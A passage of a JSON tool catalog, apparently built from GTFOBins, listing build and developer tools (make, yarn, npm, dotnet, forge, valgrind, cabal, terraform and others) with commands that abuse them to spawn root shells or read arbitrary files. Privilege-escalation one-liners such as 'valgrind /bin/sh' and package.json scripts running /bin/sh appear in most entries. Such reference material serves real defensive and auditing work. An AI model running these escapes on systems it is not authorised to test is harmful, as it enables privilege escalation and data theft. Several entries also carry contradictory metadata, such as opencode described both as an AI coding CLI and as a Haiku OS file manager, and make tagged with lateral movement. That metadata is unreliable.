          "--max-load"
        ],
        "flag": "-l"
      },
      {
        "name": "check-symlink-times",
        "template_key": "check-symlink-times",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use the latest mtime between symlinks and target",
        "aliases": [
          "-L",
          "--check-symlink-times"
        ],
        "flag": "-L"
      },
      {
        "name": "just-print",
        "template_key": "just-print",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't actually run any recipe; just print them",
        "aliases": [
          "-n",
          "--just-print",
          "--dry-run",
          "--recon"
        ],
        "flag": "-n"
      },
      {
        "name": "old-file",
        "template_key": "old-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Consider FILE to be very old and don't remake it",
        "aliases": [
          "-o",
          "--old-file",
          "--assume-old"
        ],
        "flag": "-o"
      },
      {
        "name": "output-sync",
        "template_key": "output-sync",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Synchronize output of parallel jobs by TYPE",
        "aliases": [
          "-O",
          "--output-sync"
        ],
        "flag": "-O"
      },
      {
        "name": "print-data-base",
        "template_key": "print-data-base",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print make's internal database",
        "aliases": [
          "-p",
          "--print-data-base"
        ],
        "flag": "-p"
      },
      {
        "name": "question",
        "template_key": "question",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Run no recipe; exit status says if up to date",
        "aliases": [
          "-q",
          "--question"
        ],
        "flag": "-q"
      },
      {
        "name": "no-builtin-rules",
        "template_key": "no-builtin-rules",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the built-in implicit rules",
        "aliases": [
          "-r",
          "--no-builtin-rules"
        ],
        "flag": "-r"
      },
      {
        "name": "no-builtin-variables",
        "template_key": "no-builtin-variables",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-R",
          "-i",
          "--no-builtin-variables"
        ],
        "flag": "-R"
      },
      {
        "name": "shuffle",
        "template_key": "shuffle",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Perform shuffle of prerequisites and goals",
        "aliases": [
          "--shuffle"
        ],
        "flag": "--shuffle"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't echo recipes",
        "aliases": [
          "-s",
          "--silent",
          "--quiet"
        ],
        "flag": "-s"
      },
      {
        "name": "no-silent",
        "template_key": "no-silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Echo recipes (disable --silent mode)",
        "aliases": [
          "--no-silent"
        ],
        "flag": "--no-silent"
      },
      {
        "name": "no-keep-going",
        "template_key": "no-keep-going",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Turns off -k",
        "aliases": [
          "-S",
          "--no-keep-going",
          "--stop"
        ],
        "flag": "-S"
      },
      {
        "name": "touch",
        "template_key": "touch",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Touch targets instead of remaking them",
        "aliases": [
          "-t",
          "--touch"
        ],
        "flag": "-t"
      },
      {
        "name": "trace",
        "template_key": "trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print tracing information",
        "aliases": [
          "--trace"
        ],
        "flag": "--trace"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Print the version number of make and exit",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      },
      {
        "name": "print-directory",
        "template_key": "print-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Print the current directory",
        "aliases": [
          "-w",
          "--print-directory"
        ],
        "flag": "-w"
      },
      {
        "name": "no-print-directory",
        "template_key": "no-print-directory",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Turn off -w, even if it was turned on implicitly",
        "aliases": [
          "--no-print-directory"
        ],
        "flag": "--no-print-directory"
      },
      {
        "name": "what-if",
        "template_key": "what-if",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Consider FILE to be infinitely new",
        "aliases": [
          "-W",
          "--what-if",
          "--new-file",
          "--assume-new"
        ],
        "flag": "-W"
      },
      {
        "name": "warn-undefined-variables",
        "template_key": "warn-undefined-variables",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--warn-undefined-variables"
        ],
        "flag": "--warn-undefined-variables"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "GNU Make manual",
        "url": "https://www.gnu.org/software/make/manual/"
      },
      {
        "label": "Makefile tutorial",
        "url": "https://makefiletutorial.com/"
      }
    ],
    "related_tools": [
      "cmake",
      "ninja",
      "meson",
      "just"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 128,
      "network": "none",
      "disk_io": "high"
    },
    "risk_level": "low",
    "techniques": [
      "execution",
      "analysis",
      "command-and-control",
      "credential-access",
      "defense-evasion",
      "lateral-movement",
      "persistence",
      "privilege-escalation",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "build-artifact",
        "build-log"
      ],
      "consumes": [
        "makefile",
        "source-code"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rake.md",
    "allowed-tools": [
      "rake",
      "make",
      "Ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ruby build tool, can execute commands via Rakefile.",
    "examples": [
      {
        "description": "Execute command via rake",
        "command": "rake /path/to/Rakefile"
      }
    ],
    "execution": {
      "template": "rake /path/to/Rakefile",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-build-rake",
    "install": [
      {
        "method": "gem",
        "package_name": "rake",
        "commands": [
          "gem install rake"
        ]
      }
    ],
    "name": "rake",
    "namespace": "dev:build:rake",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rake/"
      }
    ],
    "related_tools": [
      "make",
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# valgrind\n\nvalgrind is a command-line utility. Memory debugging, leak detection, and profiling tool; can also spawn an interactive shell.\n",
    "_source": "valgrind.md",
    "allowed-tools": [
      "valgrind"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Memory debugging and profiling tool; can read arbitrary files.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "valgrind /bin/sh"
      }
    ],
    "execution": {
      "template": "valgrind",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "requires-root"
    ],
    "global_vars": {},
    "id": "dev-debug-valgrind",
    "install": [
      {
        "method": "apt",
        "package_name": "valgrind",
        "commands": [
          "apt-get install -y valgrind"
        ]
      }
    ],
    "name": "valgrind",
    "namespace": "dev:debug:valgrind",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/valgrind/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dotnet\n\ndotnet is a command-line utility. .NET CLI; can execute arbitrary code and spawn shells Can also read arbitrary files, spawn an interactive shell.\n",
    "_source": "dotnet.md",
    "allowed-tools": [
      "dotnet"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": ".NET CLI; can execute arbitrary code and spawn shells Can also read arbitrary files, spawn an interactive shell.",
    "examples": [
      {
        "description": "Read arbitrary files",
        "command": "dotnet fsi\nSystem.IO.File.ReadAllText(\"/path/to/input-file\");;"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "dotnet fsi\nSystem.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;"
      }
    ],
    "execution": {
      "template": "dotnet",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "dev-dotnet-dotnet",
    "install": [
      {
        "method": "apt",
        "package_name": "dotnet-sdk",
        "commands": [
          "apt-get install -y dotnet-sdk"
        ]
      }
    ],
    "name": "dotnet",
    "namespace": "dev:dotnet:dotnet",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dotnet/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# forge\n\nforge is a command-line utility. Foundry smart contract development framework; can also spawn an interactive shell.\n",
    "_source": "forge.md",
    "allowed-tools": [
      "forge"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Foundry framework for Ethereum smart contract development; can spawn a shell via build scripts.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "echo '#!/bin/sh' >/path/to/temp-file\necho -e \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" >>/path/to/temp-file\nchmod +x /path/to/temp-file\nforge build --use /path/to/temp-file"
      }
    ],
    "execution": {
      "template": "forge",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "dev-foundry-forge",
    "install": [
      {
        "method": "apt",
        "package_name": "forge",
        "commands": [
          "apt-get install -y forge"
        ]
      }
    ],
    "name": "forge",
    "namespace": "dev:foundry:forge",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/forge/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "cabal.md",
    "allowed-tools": [
      "cabal",
      "ghc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo, SUID, or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Haskell package build system, can spawn shells via cabal exec with project-file option.",
    "examples": [
      {
        "description": "Spawn a shell via cabal exec",
        "command": "cabal exec --project-file=/dev/null -- /bin/sh"
      }
    ],
    "execution": {
      "template": "cabal exec --project-file=/dev/null -- /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-haskell-cabal",
    "install": [
      {
        "method": "apt",
        "package_name": "cabal-install",
        "commands": [
          "apt-get install -y cabal-install"
        ]
      }
    ],
    "name": "cabal",
    "namespace": "dev:haskell:cabal",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cabal/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# terraform\n\nterraform is a command-line utility. Infrastructure-as-code provisioning tool; can also read arbitrary files.\n",
    "_source": "terraform.md",
    "allowed-tools": [
      "terraform"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Infrastructure-as-code provisioning tool; can spawn a shell.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "terraform console\nfile(\"/path/to/input-file\")"
      }
    ],
    "execution": {
      "template": "terraform",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-infra-terraform",
    "install": [
      {
        "method": "apt",
        "package_name": "terraform",
        "commands": [
          "apt-get install -y terraform"
        ]
      }
    ],
    "name": "terraform",
    "namespace": "dev:infra:terraform",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/terraform/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ksshell\n\nksshell is a command-line utility. Kickstart script interpreter; can also read arbitrary files.\n",
    "_source": "ksshell.md",
    "allowed-tools": [
      "ksshell"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Kickstart script parser; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "ksshell -i /path/to/input-file"
      }
    ],
    "execution": {
      "template": "ksshell",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "local",
      "network-intensive"
    ],
    "global_vars": {},
    "id": "dev-kickstart-ksshell",
    "install": [
      {
        "method": "apt",
        "package_name": "pykickstart",
        "commands": [
          "apt-get install -y pykickstart"
        ]
      }
    ],
    "name": "ksshell",
    "namespace": "dev:kickstart:ksshell",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ksshell/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# slsh\n\nslsh is a command-line utility. S-Lang scripting language interpreter; can also spawn an interactive shell.\n",
    "_source": "slsh.md",
    "allowed-tools": [
      "slsh"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "S-Lang scripting language interpreter; can execute commands and spawn shells.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "slsh -e 'system(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "slsh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "dev-lang-slsh",
    "install": [
      {
        "method": "apt",
        "package_name": "slsh",
        "commands": [
          "apt-get install -y slsh"
        ]
      }
    ],
    "name": "slsh",
    "namespace": "dev:lang:slsh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/slsh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "codex.md",
    "allowed-tools": [
      "codex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nix-based development environment tool, can spawn a shell via codex sandbox.",
    "examples": [
      {
        "description": "Spawn a shell via codex sandbox",
        "command": "codex sandbox linux /bin/sh"
      }
    ],
    "execution": {
      "template": "codex sandbox linux /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-nix-codex",
    "install": [
      {
        "method": "pip",
        "package_name": "codex",
        "commands": [
          "pip install codex"
        ]
      }
    ],
    "name": "codex",
    "namespace": "dev:nix:codex",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/codex/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# yarn\n\nyarn is a command-line utility. Fast, dependable package manager for Node.js; can also spawn an interactive shell.\n",
    "_source": "yarn.md",
    "allowed-tools": [
      "yarn"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast, reliable Node.js package manager; can execute arbitrary scripts.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "yarn exec /bin/sh"
      },
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "echo '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' >package.json\nyarn --cwd ."
      },
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "echo '{\"scripts\": {\"xxx\": \"/bin/sh\"}}' >package.json\nyarn --cwd . xxx"
      }
    ],
    "execution": {
      "template": "yarn",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "dev-node-yarn",
    "install": [
      {
        "method": "apt",
        "package_name": "yarn",
        "commands": [
          "apt-get install -y yarn"
        ]
      }
    ],
    "name": "yarn",
    "namespace": "dev:node:yarn",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/yarn/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "npm.md",
    "allowed-tools": [
      "npm",
      "node",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Node package manager, can execute commands via pre/postinstall scripts.",
    "examples": [
      {
        "description": "Execute command via npm script",
        "command": "echo '{\"scripts\":{\"x\":\"/bin/sh\"}}' >package.json\nnpm -C . run x\n"
      }
    ],
    "execution": {
      "template": "npm -C /path/to/dir run build",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-npm-npm",
    "install": [
      {
        "method": "npm",
        "package_name": "npm",
        "commands": [
          "npm install -g npm"
        ]
      }
    ],
    "name": "npm",
    "namespace": "dev:npm:npm",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/npm/"
      }
    ],
    "related_tools": [
      "node",
      "yarn"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# opencode\n\nopencode is a command-line utility. Open-source AI coding assistant CLI; can also execute arbitrary commands Can also leverage capabilities from: sqlite3.\n",
    "_source": "opencode.md",
    "allowed-tools": [
      "opencode"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File manager/launcher for Haiku OS; can execute commands and leverage sqlite3.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo, suid, unprivileged)",
        "command": "opencode\n! /path/to/command"
      },
      {
        "description": "Leverage sqlite3 capabilities",
        "command": "opencode db '...'"
      }
    ],
    "execution": {
      "template": "opencode",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-opencode-opencode",
    "install": [
      {
        "method": "apt",
        "package_name": "opencode",
        "commands": [
          "apt-get install -y opencode"
        ]
      }
    ],
    "name": "opencode",
    "namespace": "dev:opencode:opencode",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/opencode/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "perlbug.md",
    "allowed-tools": [
      "perlbug",
      "perl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Perl bug reporting tool, can execute commands.",
    "examples": [
      {
        "description": "Execute command via perlbug",
        "command": "perlbug /path/to/report"
      }
    ],
    "execution": {
      "template": "perlbug /path/to/report",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-perl-perlbug",
    "install": [
      {
        "method": "apt",
        "package_name": "perl",
        "commands": [
          "apt-get install -y perl"
        ]
      }
    ],
    "name": "perlbug",
    "namespace": "dev:perl:perlbug",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/perlbug/"
      }
    ],
    "related_tools": [
      "perl",
      "cpan"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "composer.md",
    "allowed-tools": [
      "composer",
      "php",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
